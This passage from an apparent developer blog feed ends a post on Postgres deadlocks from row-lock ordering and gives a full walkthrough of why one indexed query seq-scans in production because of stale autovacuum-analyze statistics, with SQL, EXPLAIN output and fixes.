<p>Because row locks are stored in the tuple’s <code class="language-plaintext highlighter-rouge">xmax</code> header field, not in the lock manager. A blocked updater reads <code class="language-plaintext highlighter-rouge">xmax</code>, finds the holding transaction ID, and calls <code class="language-plaintext highlighter-rouge">XactLockTableWait()</code>, which takes <code class="language-plaintext highlighter-rouge">ShareLock</code> on that transaction’s own XID lock. Every transaction holds <code class="language-plaintext highlighter-rouge">ExclusiveLock</code> on its XID for its whole lifetime, so the wait naturally ends at commit or abort. The lock manager only ever sees transaction-ID locks, which is why that is what the report names.</p>

<p><strong>Why did the failing statement hang for exactly one second before erroring?</strong></p>

<p>That is <code class="language-plaintext highlighter-rouge">deadlock_timeout</code>, default <code class="language-plaintext highlighter-rouge">1s</code>. Postgres does not run the cycle check on every lock wait because the check is expensive — it waits first, then runs <code class="language-plaintext highlighter-rouge">DeadLockCheck</code>. A deadlock that resolves in “about a second” is therefore the signature of the default value, not of network or query latency.</p>

<p><strong>Could I just make the transactions shorter so the window closes?</strong></p>

<p>It reduces the probability, it does not remove the failure. The window is the gap between the first and second <code class="language-plaintext highlighter-rouge">UPDATE</code>, and it cannot be zero as long as two rows are updated in two statements. Halving it halves the collision rate, then traffic doubles and you are back where you started. Deterministic ordering makes the cycle structurally impossible at any window size.</p>

<p><strong>Both transactions are correct in isolation — how would a code review catch this?</strong></p>

<p>By reviewing the ordering rule rather than the statements. “Source account first” reads fine in <code class="language-plaintext highlighter-rouge">TransferAsync</code> and fine in <code class="language-plaintext highlighter-rouge">SettleRefundAsync</code>, and is a contradiction only when you hold both files at once. The reviewable invariant is “rows are locked in ascending primary-key order,” because that one is checkable in a single file.</p>

<h2 id="source">Source</h2>

<ul>
  <li><strong>Symptom:</strong> <code class="language-plaintext highlighter-rouge">deadlock detected</code> (<code class="language-plaintext highlighter-rouge">SQLSTATE 40P01</code>) between the same two <code class="language-plaintext highlighter-rouge">UPDATE</code> statements, dozens of times an hour at peak load and never in staging</li>
  <li><strong>Domain:</strong> databases</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/postgres/postgres/blob/master/src/backend/storage/lmgr/deadlock.c"><code class="language-plaintext highlighter-rouge">postgres/postgres</code> → <code class="language-plaintext highlighter-rouge">src/backend/storage/lmgr/deadlock.c</code></a> — <code class="language-plaintext highlighter-rouge">DeadLockReport()</code>, the source of the <code class="language-plaintext highlighter-rouge">deadlock detected</code> message, the <code class="language-plaintext highlighter-rouge">Process %d waits for %s on %s</code> DETAIL lines, and the log-only query-text lines</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/postgres/postgres/blob/master/src/backend/storage/lmgr/lmgr.c"><code class="language-plaintext highlighter-rouge">postgres/postgres</code> → <code class="language-plaintext highlighter-rouge">src/backend/storage/lmgr/lmgr.c</code></a> — <code class="language-plaintext highlighter-rouge">XactLockTableWait()</code> taking <code class="language-plaintext highlighter-rouge">ShareLock</code> on the holder’s XID, and <code class="language-plaintext highlighter-rouge">XactLockTableWaitErrorCb()</code> emitting the <code class="language-plaintext highlighter-rouge">while updating tuple (%u,%u) in relation "%s"</code> context</li>
  <li><strong>Docs/Repo:</strong> <a href="https://www.postgresql.org/docs/current/runtime-config-locks.html">PostgreSQL — Lock Management</a> — establishes <code class="language-plaintext highlighter-rouge">deadlock_timeout</code> default <code class="language-plaintext highlighter-rouge">1s</code> and why the check is deferred</li>
  <li><strong>Docs/Repo:</strong> <a href="https://www.postgresql.org/docs/current/monitoring-stats.html">PostgreSQL — <code class="language-plaintext highlighter-rouge">pg_stat_database</code></a> — establishes the <code class="language-plaintext highlighter-rouge">deadlocks</code> counter</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/postgres/postgres/blob/master/src/backend/utils/errcodes.txt"><code class="language-plaintext highlighter-rouge">postgres/postgres</code> → <code class="language-plaintext highlighter-rouge">src/backend/utils/errcodes.txt</code></a> — establishes <code class="language-plaintext highlighter-rouge">40P01 deadlock_detected</code> versus <code class="language-plaintext highlighter-rouge">40001 serialization_failure</code></li>
</ul>]]></content><author><name>Mayur</name></author><category term="databases" /><category term="databases" /><category term="troubleshooting" /><category term="debugging" /><category term="postgresql" /><category term="deadlock" /><category term="transactions" /><summary type="html"><![CDATA[A scenario-based debugging walkthrough: Postgres logs deadlock detected dozens of times an hour at peak traffic, always between the same two statements, and never once in staging. The root cause is two code paths updating the same rows in opposite primary-key order, producing a cycle in the wait-for graph. Trace the fix through the server log's DETAIL block, ShareLock on transaction, deadlock_timeout, and log_lock_waits.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://mayurjp.github.io/dev-blog/assets/og/db-deadlocks-under-load.png" /><media:content medium="image" url="https://mayurjp.github.io/dev-blog/assets/og/db-deadlocks-under-load.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Databases: Why Is the Same Query 8ms in Dev and 4 Seconds in Production?</title><link href="https://mayurjp.github.io/dev-blog/databases/db-query-fast-in-dev-slow-in-prod/" rel="alternate" type="text/html" title="Databases: Why Is the Same Query 8ms in Dev and 4 Seconds in Production?" /><published>2026-09-03T03:30:00+00:00</published><updated>2026-09-03T03:30:00+00:00</updated><id>https://mayurjp.github.io/dev-blog/databases/db-query-fast-in-dev-slow-in-prod</id><content type="html" xml:base="https://mayurjp.github.io/dev-blog/databases/db-query-fast-in-dev-slow-in-prod/"><![CDATA[<p><strong>TL;DR:</strong> The production query is not slow because production has more data — it is slow because the planner’s row estimate is 53,000x too high, so it correctly prices a sequential scan as cheaper than the index. The estimate is wrong because <code class="language-plaintext highlighter-rouge">autovacuum_analyze_scale_factor</code> is a <em>percentage</em> of table size, and on a 204-million-row table that percentage has not been crossed in six weeks.</p>
<blockquote>
  <p><strong>In plain English (30 sec):</strong> Think of this like concepts you already use, but in a production system at scale.</p>
</blockquote>

<h2 id="the-symptom">The symptom</h2>

<blockquote>
  <p>“Same query. Same schema. Same index — I checked <code class="language-plaintext highlighter-rouge">\d orders</code> on both. 8ms on my laptop against a restored dump, 4.1 seconds in production. And it’s not a cold cache: I ran it ten times in a row and it’s 4 seconds every time. <code class="language-plaintext highlighter-rouge">EXPLAIN</code> in prod shows a Seq Scan on a table that definitely has the index the query needs.”</p>
</blockquote>

<p>Three guesses die immediately. The index is not missing — <code class="language-plaintext highlighter-rouge">\d orders</code> lists it in both environments. It is not a cold buffer cache — the timing is stable across repeated runs. And it is not Postgres refusing to use the index because of a type mismatch or a function wrapper on the column — the <code class="language-plaintext highlighter-rouge">Filter:</code> line shows a plain equality on a plain column.</p>

<p>The planner is not failing to <em>find</em> the index. It is looking at the index, pricing it, and deciding the sequential scan is cheaper. On the numbers it has, it is right.</p>

<h2 id="reproduce">Reproduce</h2>

<p>PostgreSQL 16. One table, one index, one query.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- The table and the index both environments have</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">orders</span> <span class="p">(</span>
    <span class="n">id</span>           <span class="n">bigserial</span> <span class="k">PRIMARY</span> <span class="k">KEY</span><span class="p">,</span>
    <span class="n">customer_id</span>  <span class="nb">bigint</span>      <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">status</span>       <span class="nb">text</span>        <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">total_cents</span>  <span class="nb">bigint</span>      <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
    <span class="n">created_at</span>   <span class="n">timestamptz</span> <span class="k">NOT</span> <span class="k">NULL</span> <span class="k">DEFAULT</span> <span class="n">now</span><span class="p">()</span>
<span class="p">);</span>
<span class="k">CREATE</span> <span class="k">INDEX</span> <span class="n">idx_orders_status</span> <span class="k">ON</span> <span class="n">orders</span> <span class="p">(</span><span class="n">status</span><span class="p">);</span>

<span class="c1">-- The query the API runs on every dashboard load</span>
<span class="k">SELECT</span> <span class="n">id</span><span class="p">,</span> <span class="n">customer_id</span><span class="p">,</span> <span class="n">total_cents</span><span class="p">,</span> <span class="n">created_at</span>
<span class="k">FROM</span> <span class="n">orders</span>
<span class="k">WHERE</span> <span class="n">status</span> <span class="o">=</span> <span class="s1">'pending'</span><span class="p">;</span>
</code></pre></div></div>

<p>The reproduction is not “load a lot of rows.” It is <strong>load a lot of rows, then change the data distribution, then do not run <code class="language-plaintext highlighter-rouge">ANALYZE</code></strong>:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 1. Simulate the state statistics were captured in: a payment-processor</span>
<span class="c1">--    outage six weeks ago left ~3% of a 204M-row table stuck in 'pending'</span>
<span class="k">UPDATE</span> <span class="n">orders</span> <span class="k">SET</span> <span class="n">status</span> <span class="o">=</span> <span class="s1">'pending'</span> <span class="k">WHERE</span> <span class="n">id</span> <span class="o">%</span> <span class="mi">33</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">ANALYZE</span> <span class="n">orders</span><span class="p">;</span>          <span class="c1">-- &lt;- the LAST time stats were accurate</span>

<span class="c1">-- 2. The backlog drains. 6.2M rows move out of 'pending'. No ANALYZE runs.</span>
<span class="k">UPDATE</span> <span class="n">orders</span> <span class="k">SET</span> <span class="n">status</span> <span class="o">=</span> <span class="s1">'shipped'</span> <span class="k">WHERE</span> <span class="n">status</span> <span class="o">=</span> <span class="s1">'pending'</span> <span class="k">AND</span> <span class="n">id</span> <span class="o">%</span> <span class="mi">33</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

<span class="c1">-- 3. Now only live traffic is 'pending' — about 118 rows at any moment.</span>
<span class="c1">--    Run the SELECT. It sequential-scans 204 million rows to find 118.</span>
</code></pre></div></div>

<h2 id="the-root-cause-chain">The root cause chain</h2>

<h3 id="1-the-immediate-trigger-the-plan-flipped-and-the-estimate-is-off-by-53000x">1. The immediate trigger: the plan flipped, and the estimate is off by 53,000x</h3>

<p>Run the same statement in both environments. Ask for buffers explicitly — <code class="language-plaintext highlighter-rouge">BUFFERS</code> defaults to off, and is only folded into <code class="language-plaintext highlighter-rouge">ANALYZE</code> automatically from PostgreSQL 18 onward:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">EXPLAIN</span> <span class="p">(</span><span class="k">ANALYZE</span><span class="p">,</span> <span class="n">BUFFERS</span><span class="p">)</span>
<span class="k">SELECT</span> <span class="n">id</span><span class="p">,</span> <span class="n">customer_id</span><span class="p">,</span> <span class="n">total_cents</span><span class="p">,</span> <span class="n">created_at</span>
<span class="k">FROM</span> <span class="n">orders</span> <span class="k">WHERE</span> <span class="n">status</span> <span class="o">=</span> <span class="s1">'pending'</span><span class="p">;</span>
</code></pre></div></div>

<p>Dev — 120,000 rows in the table:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Index Scan using idx_orders_status on orders
   (cost=0.42..312.51 rows=902 width=28)
   (actual time=0.038..7.914 rows=894 loops=1)
   Index Cond: (status = 'pending'::text)
   Buffers: shared hit=6 read=871
 Planning Time: 0.121 ms
 Execution Time: 8.002 ms
</code></pre></div></div>

<p>Production — 204,017,882 rows in the table:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Seq Scan on orders
   (cost=0.00..6014311.00 rows=6283200 width=28)
   (actual time=2841.117..4103.882 rows=118 loops=1)
   Filter: (status = 'pending'::text)
   Rows Removed by Filter: 203999882
   Buffers: shared hit=2144 read=3462167
 Planning Time: 0.184 ms
 Execution Time: 4103.951 ms
</code></pre></div></div>

<p>The number that matters is not <code class="language-plaintext highlighter-rouge">4103.951 ms</code>. It is the pair on the production line:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">rows=6283200</code> — what the planner <strong>estimated</strong> the node would emit.</li>
  <li><code class="language-plaintext highlighter-rouge">rows=118</code> — what the node <strong>actually</strong> emitted.</li>
</ul>

<p>That is a 53,247x overestimate. Postgres’s own <code class="language-plaintext highlighter-rouge">EXPLAIN</code> documentation names this as the first thing to check: <em>“The thing that’s usually most important to look for is whether the estimated row counts are reasonably close to reality.”</em> In dev the pair is <code class="language-plaintext highlighter-rouge">rows=902</code> estimated / <code class="language-plaintext highlighter-rouge">rows=894</code> actual — dead on. Same query, same index, same planner. Only the inputs differ.</p>

<p><code class="language-plaintext highlighter-rouge">Rows Removed by Filter: 203999882</code> is the cost of that mistake stated in rows: the executor read and discarded 204 million tuples, and <code class="language-plaintext highlighter-rouge">Buffers: shared read=3462167</code> says it pulled 3.46 million 8KB pages off disk to do it.</p>

<h3 id="2-the-mechanism-the-planner-priced-a-real-index-scan-against-a-fake-row-count">2. The mechanism: the planner priced a real index scan against a fake row count</h3>

<p>The planner does not measure anything at plan time. It runs arithmetic over statistics that <code class="language-plaintext highlighter-rouge">ANALYZE</code> captured earlier, and the selectivity of <code class="language-plaintext highlighter-rouge">status = 'pending'</code> comes straight out of <code class="language-plaintext highlighter-rouge">pg_stats</code>:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">attname</span><span class="p">,</span> <span class="n">most_common_vals</span><span class="p">,</span> <span class="n">most_common_freqs</span>
<span class="k">FROM</span> <span class="n">pg_stats</span> <span class="k">WHERE</span> <span class="n">tablename</span> <span class="o">=</span> <span class="s1">'orders'</span> <span class="k">AND</span> <span class="n">attname</span> <span class="o">=</span> <span class="s1">'status'</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> attname |          most_common_vals            |        most_common_freqs
---------+--------------------------------------+----------------------------------
 status  | {shipped,paid,pending,cancelled}     | {0.6104,0.3441,0.0308,0.0147}
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">most_common_freqs</code> is documented as <em>“number of occurrences of each divided by total number of rows.”</em> The planner reads <code class="language-plaintext highlighter-rouge">0.0308</code> for <code class="language-plaintext highlighter-rouge">'pending'</code>, multiplies by the table’s recorded row count, and gets its estimate:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>204,017,882 × 0.0308 ≈ 6,283,200      &lt;- the "rows=6283200" printed in EXPLAIN
</code></pre></div></div>

<p>Now it prices two paths for 6.28 million rows:</p>

<ul>
  <li><strong>Seq Scan</strong> — 3,464,311 pages at <code class="language-plaintext highlighter-rouge">seq_page_cost = 1.0</code>, plus 204,017,882 tuples at <code class="language-plaintext highlighter-rouge">cpu_tuple_cost = 0.01</code> plus one qual evaluation each at <code class="language-plaintext highlighter-rouge">cpu_operator_cost = 0.0025</code>. That is <code class="language-plaintext highlighter-rouge">3,464,311 + 204,017,882 × 0.0125 ≈ 6,014,311</code> — exactly the <code class="language-plaintext highlighter-rouge">cost=0.00..6014311.00</code> on the plan line.</li>
  <li><strong>Index Scan</strong> — walk the index, then fetch 6.28 million heap tuples in essentially random physical order at <code class="language-plaintext highlighter-rouge">random_page_cost = 4.0</code>. Even with heavy correlation discounting, millions of random fetches at 4.0 apiece price out well above 6,014,311.</li>
</ul>

<p>So the planner picks the sequential scan. <strong>Given a 6.28-million-row match, that is the correct decision</strong> — reading 3.4 million pages sequentially genuinely does beat 6 million random fetches. The plan is not the bug. The <code class="language-plaintext highlighter-rouge">0.0308</code> is.</p>

<h3 id="3-the-confirming-evidence-autoanalyze-has-not-run-in-six-weeks-and-will-not-run-soon">3. The confirming evidence: autoanalyze has not run in six weeks, and will not run soon</h3>

<p><code class="language-plaintext highlighter-rouge">pg_stat_user_tables</code> records exactly when statistics were last refreshed and how much has changed since:</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">relname</span><span class="p">,</span> <span class="n">last_analyze</span><span class="p">,</span> <span class="n">last_autoanalyze</span><span class="p">,</span>
       <span class="n">n_mod_since_analyze</span><span class="p">,</span> <span class="n">n_live_tup</span>
<span class="k">FROM</span> <span class="n">pg_stat_user_tables</span> <span class="k">WHERE</span> <span class="n">relname</span> <span class="o">=</span> <span class="s1">'orders'</span><span class="p">;</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> relname |  last_analyze  |         last_autoanalyze         | n_mod_since_analyze | n_live_tup
---------+----------------+----------------------------------+---------------------+------------
 orders  |     (null)     |  2026-07-24 02:11:47.883+05:30   |            18416229 |  204017882
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">n_mod_since_analyze</code> is documented as <em>“estimated number of rows modified since this table was last analyzed”</em> — 18.4 million rows have changed, and the planner has seen none of them.</p>

<p>The reason autoanalyze has not fired is arithmetic, not a broken daemon. Autovacuum’s analyze trigger is:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>threshold = autovacuum_analyze_threshold + autovacuum_analyze_scale_factor × reltuples
</code></pre></div></div>

<p>with documented defaults of <strong>50 tuples</strong> and <strong>0.1 (10% of table size)</strong>. On this table:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>50 + 0.1 × 204,017,882 = 20,401,838 modifications required
                         18,416,229 modifications so far
                       = 1,985,609 modifications still to go
</code></pre></div></div>

<p>That default is fine on a 120,000-row dev table — 10% is 12,000 modifications, crossed several times a day, which is precisely why dev’s estimate was dead-on. On a 204-million-row table, 10% is 20.4 million modifications, and the table crosses it roughly every seven weeks. <strong>The same default that keeps small tables accurate makes large tables blind</strong>, and the divergence grows with the exact thing that makes the query expensive.</p>

<pre><code class="language-mermaid">flowchart TD
    A["UPDATE drains the pending backlog&lt;br/&gt;6.2M rows leave status = pending"] --&gt; B["n_mod_since_analyze&lt;br/&gt;climbs to 18,416,229"]
    B --&gt; C{"n_mod_since_analyze &amp;gt;&lt;br/&gt;50 + 0.1 × 204,017,882&lt;br/&gt;= 20,401,838 ?"}
    C --&gt;|"NO — 1,985,609 short"| D["autoanalyze does NOT run&lt;br/&gt;pg_stats keeps the OLD snapshot"]
    D --&gt; E["pg_stats.most_common_freqs&lt;br/&gt;for pending is still 0.0308"]
    E --&gt; F["planner estimate&lt;br/&gt;204,017,882 × 0.0308 = 6,283,200 rows"]
    F --&gt; G{"cost of idx_orders_status&lt;br/&gt;for 6,283,200 random fetches&lt;br/&gt;at random_page_cost 4.0"}
    G --&gt;|"exceeds 6,014,311"| H["Seq Scan on orders chosen&lt;br/&gt;Rows Removed by Filter 203,999,882&lt;br/&gt;4,103 ms"]

    C --&gt;|"YES on the 120k-row dev table&lt;br/&gt;threshold is only 12,050"| I["autoanalyze runs&lt;br/&gt;most_common_freqs refreshed"]
    I --&gt; J["estimate rows=902, actual rows=894&lt;br/&gt;Index Scan chosen — 8 ms"]

    classDef ok fill:#e8f4fd,stroke:#1565c0,color:#0d3a5c;
    classDef bad fill:#fdecea,stroke:#c0392b,color:#5c1a13;
    class A,B,C,G ok;
    class I,J ok;
    class D,E,F,H bad;
</code></pre>

<h2 id="the-fix">The fix</h2>

<p>Two changes: one to stop the bleeding now, one so it cannot recur.</p>

<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">-- 1. Immediate: refresh the statistics the planner is reading</span>
<span class="k">ANALYZE</span> <span class="n">orders</span><span class="p">;</span>

<span class="c1">-- 2. Durable: make the analyze threshold a fixed row count on THIS table</span>
<span class="c1">--    instead of a percentage of a number that keeps growing.</span>
<span class="c1">--    0.002 × 204,017,882 = ~408,000 modifications, crossed several times a day.</span>
<span class="k">ALTER</span> <span class="k">TABLE</span> <span class="n">orders</span> <span class="k">SET</span> <span class="p">(</span>
    <span class="n">autovacuum_analyze_scale_factor</span> <span class="o">=</span> <span class="mi">0</span><span class="p">.</span><span class="mi">002</span><span class="p">,</span>
    <span class="n">autovacuum_analyze_threshold</span>    <span class="o">=</span> <span class="mi">5000</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Re-run the query after <code class="language-plaintext highlighter-rouge">ANALYZE orders</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Index Scan using idx_orders_status on orders
   (cost=0.57..381.28 rows=124 width=28)
   (actual time=0.041..0.212 rows=118 loops=1)
   Index Cond: (status = 'pending'::text)
   Buffers: shared hit=4 read=7
 Planning Time: 0.203 ms
 Execution Time: 0.247 ms
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">rows=124</code> estimated against <code class="language-plaintext highlighter-rouge">rows=118</code> actual, 11 buffers touched instead of 3.46 million, 0.247ms instead of 4,103ms. No index was added and no query text changed — only the numbers the planner was reading.</p>

<p><strong>Ship the per-table storage parameter, not a global change to <code class="language-plaintext highlighter-rouge">autovacuum_analyze_scale_factor</code>.</strong> The global default of <code class="language-plaintext highlighter-rouge">0.1</code> is correct for the hundreds of small tables in the schema — dropping it to <code class="language-plaintext highlighter-rouge">0.002</code> cluster-wide would have autovacuum workers re-analyzing every lookup table constantly for no benefit. The problem is specific to tables whose absolute row count makes a percentage threshold meaningless, so the fix belongs on those tables.</p>

<p>Resist the two tempting non-fixes. Adding another index does nothing — the planner already declined a perfectly good one. Setting <code class="language-plaintext highlighter-rouge">enable_seqscan = off</code> forces the index by making sequential scans cost <code class="language-plaintext highlighter-rouge">1e10</code>, which hides a wrong estimate behind a distorted cost model and will pick a bad plan somewhere else in the same session.</p>

<h2 id="deeper-checks-for-production">Deeper checks for production</h2>

<ol>
  <li>
    <p><strong>Check whether vacuum is starved too, not just analyze.</strong> <code class="language-plaintext highlighter-rouge">autovacuum_vacuum_scale_factor</code> defaults to <code class="language-plaintext highlighter-rouge">0.2</code> — twice as lax as analyze — so the same table is almost certainly accumulating dead tuples as well. Query <code class="language-plaintext highlighter-rouge">n_dead_tup</code> and <code class="language-plaintext highlighter-rouge">last_autovacuum</code> in the same <code class="language-plaintext highlighter-rouge">pg_stat_user_tables</code> row; bloat inflates <code class="language-plaintext highlighter-rouge">relpages</code>, which feeds the seq-scan cost and distorts estimates in the opposite direction.</p>
  </li>
  <li>
    <p><strong>Add extended statistics for correlated columns.</strong> The planner assumes independence between predicates by default, so <code class="language-plaintext highlighter-rouge">WHERE status = 'shipped' AND carrier = 'DHL'</code> multiplies two selectivities that are not independent. <code class="language-plaintext highlighter-rouge">CREATE STATISTICS orders_status_carrier (dependencies) ON status, carrier FROM orders</code> teaches it the correlation — but it only takes effect after the next <code class="language-plaintext highlighter-rouge">ANALYZE</code>.</p>
  </li>
  <li>
    <p><strong>Raise <code class="language-plaintext highlighter-rouge">SET STATISTICS</code> on high-cardinality columns, not on <code class="language-plaintext highlighter-rouge">status</code>.</strong> <code class="language-plaintext highlighter-rouge">default_statistics_target</code> is <code class="language-plaintext highlighter-rouge">100</code>, meaning at most 100 most-common values and 100 histogram buckets per column. Four distinct statuses fit easily. A column like <code class="language-plaintext highlighter-rouge">customer_id</code> with millions of distinct values does not — <code class="language-plaintext highlighter-rouge">ALTER TABLE orders ALTER COLUMN customer_id SET STATISTICS 500</code> is where the extra buckets buy something.</p>
  </li>
  <li>
    <p><strong>Log the plans instead of reconstructing them after the fact.</strong> Load <code class="language-plaintext highlighter-rouge">auto_explain</code> and set <code class="language-plaintext highlighter-rouge">auto_explain.log_min_duration = '500ms'</code> with <code class="language-plaintext highlighter-rouge">auto_explain.log_analyze = on</code>, so the estimated-versus-actual pair is already in the server log the next time a plan flips — rather than depending on someone reproducing the slow query by hand.</p>
  </li>
</ol>

<h2 id="prevention-checklist">Prevention checklist</h2>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Every table above ~10 million rows carries a per-table <code class="language-plaintext highlighter-rouge">autovacuum_analyze_scale_factor</code> override, because the 0.1 default translates to a modification count that grows with the table</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />A monitoring check alerts when <code class="language-plaintext highlighter-rouge">pg_stat_user_tables.n_mod_since_analyze</code> exceeds a fixed fraction of <code class="language-plaintext highlighter-rouge">n_live_tup</code> on the largest tables</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Bulk data migrations and backfills end with an explicit <code class="language-plaintext highlighter-rouge">ANALYZE &lt;table&gt;</code> rather than waiting for autoanalyze to notice</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Slow-query triage compares estimated <code class="language-plaintext highlighter-rouge">rows=</code> against actual <code class="language-plaintext highlighter-rouge">rows=</code> on every plan node before anyone proposes a new index</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><code class="language-plaintext highlighter-rouge">auto_explain</code> is loaded with <code class="language-plaintext highlighter-rouge">log_analyze = on</code> so a plan flip is captured in the log at the moment it happens</li>
</ul>

<h2 id="faq">FAQ</h2>

<p><strong>Why was the dev environment accurate if it was restored from the same production dump?</strong></p>

<p>Because the threshold that governs autoanalyze scales with row count. Dev holds 120,000 rows, so its analyze threshold is <code class="language-plaintext highlighter-rouge">50 + 0.1 × 120,000 = 12,050</code> modifications — a bar that ordinary development traffic clears repeatedly in a day. Production’s bar is 20,401,838. Identical configuration, identical daemon, opposite outcome, purely because the scale factor is a percentage.</p>

<p><strong>If the planner’s estimate was 53,000x wrong, why call the sequential scan the correct decision?</strong></p>

<p>Because the estimate is the planner’s only input. Fetching 6.28 million heap tuples in index order means millions of non-sequential page reads priced at <code class="language-plaintext highlighter-rouge">random_page_cost = 4.0</code> apiece, against a sequential scan of 3.46 million pages at <code class="language-plaintext highlighter-rouge">seq_page_cost = 1.0</code>. Given <code class="language-plaintext highlighter-rouge">rows=6283200</code>, the seq scan really is cheaper. The cost arithmetic was sound — it was applied to a stale <code class="language-plaintext highlighter-rouge">most_common_freqs</code> value.</p>

<p><strong>Would <code class="language-plaintext highlighter-rouge">VACUUM ANALYZE</code> have been a better immediate fix than <code class="language-plaintext highlighter-rouge">ANALYZE</code>?</strong></p>

<p>It fixes more, but it is a much heavier operation on a 204-million-row table and it is not what the plan flip needed. <code class="language-plaintext highlighter-rouge">ANALYZE</code> alone rewrites <code class="language-plaintext highlighter-rouge">pg_statistic</code>, which is the input the planner read. <code class="language-plaintext highlighter-rouge">VACUUM</code> reclaims dead tuples and updates the visibility map — worth doing on this table given <code class="language-plaintext highlighter-rouge">autovacuum_vacuum_scale_factor = 0.2</code>, but as a separate, scheduled action rather than as the incident fix.</p>

<p><strong>Does <code class="language-plaintext highlighter-rouge">EXPLAIN</code> without <code class="language-plaintext highlighter-rouge">ANALYZE</code> show this problem?</strong></p>

<p>No — and that is the trap. Plain <code class="language-plaintext highlighter-rouge">EXPLAIN</code> prints only the estimate, so it shows <code class="language-plaintext highlighter-rouge">rows=6283200</code> with nothing to compare it against, and the plan looks entirely reasonable. The mismatch only becomes visible when <code class="language-plaintext highlighter-rouge">ANALYZE</code> actually executes the query and prints the measured row count next to the estimate. Add <code class="language-plaintext highlighter-rouge">BUFFERS</code> explicitly on PostgreSQL 17 and earlier — it is only automatic under <code class="language-plaintext highlighter-rouge">ANALYZE</code> from PostgreSQL 18.</p>

<h2 id="source">Source</h2>

<ul>
  <li><strong>Symptom:</strong> An indexed query returns in 8ms in dev and sequential-scans for 4 seconds in production against the same schema and index</li>
  <li><strong>Domain:</strong> databases</li>
  <li><strong>Docs/Repo:</strong> <a href="https://www.postgresql.org/docs/current/runtime-config-autovacuum.html">PostgreSQL — Automatic Vacuuming parameters</a> — establishes <code class="language-plaintext highlighter-rouge">autovacuum_analyze_threshold</code> (50 tuples) and <code class="language-plaintext highlighter-rouge">autovacuum_analyze_scale_factor</code> (0.1, 10% of table size)</li>
  <li><strong>Docs/Repo:</strong> <a href="https://www.postgresql.org/docs/current/using-explain.html">PostgreSQL — Using EXPLAIN</a> — establishes the estimated-versus-actual <code class="language-plaintext highlighter-rouge">rows</code> comparison and <code class="language-plaintext highlighter-rouge">Rows Removed by Filter</code></li>
  <li><strong>Docs/Repo:</strong> <a href="https://www.postgresql.org/docs/current/view-pg-stats.html">PostgreSQL — <code class="language-plaintext highlighter-rouge">pg_stats</code></a> — establishes <code class="language-plaintext highlighter-rouge">most_common_vals</code> / <code class="language-plaintext highlighter-rouge">most_common_freqs</code> as the selectivity source</li>
  <li><strong>Docs/Repo:</strong> <a href="https://www.postgresql.org/docs/current/runtime-config-query.html">PostgreSQL — Planner Cost Constants</a> — establishes <code class="language-plaintext highlighter-rouge">seq_page_cost</code> 1.0, <code class="language-plaintext highlighter-rouge">random_page_cost</code> 4.0, <code class="language-plaintext highlighter-rouge">default_statistics_target</code> 100</li>
  <li><strong>Docs/Repo:</strong> <a href="https://github.com/postgres/postgres/blob/master/src/backend/optimizer/path/costsize.c"><code class="language-plaintext highlighter-rouge">postgres/postgres</code> → <code class="language-plaintext highlighter-rouge">src/backend/optimizer/path/costsize.c</code></a> — <code class="language-plaintext highlighter-rouge">cost_seqscan()</code>, the arithmetic behind the <code class="language-plaintext highlighter-rouge">cost=0.00..6014311.00</code> printed above</li>
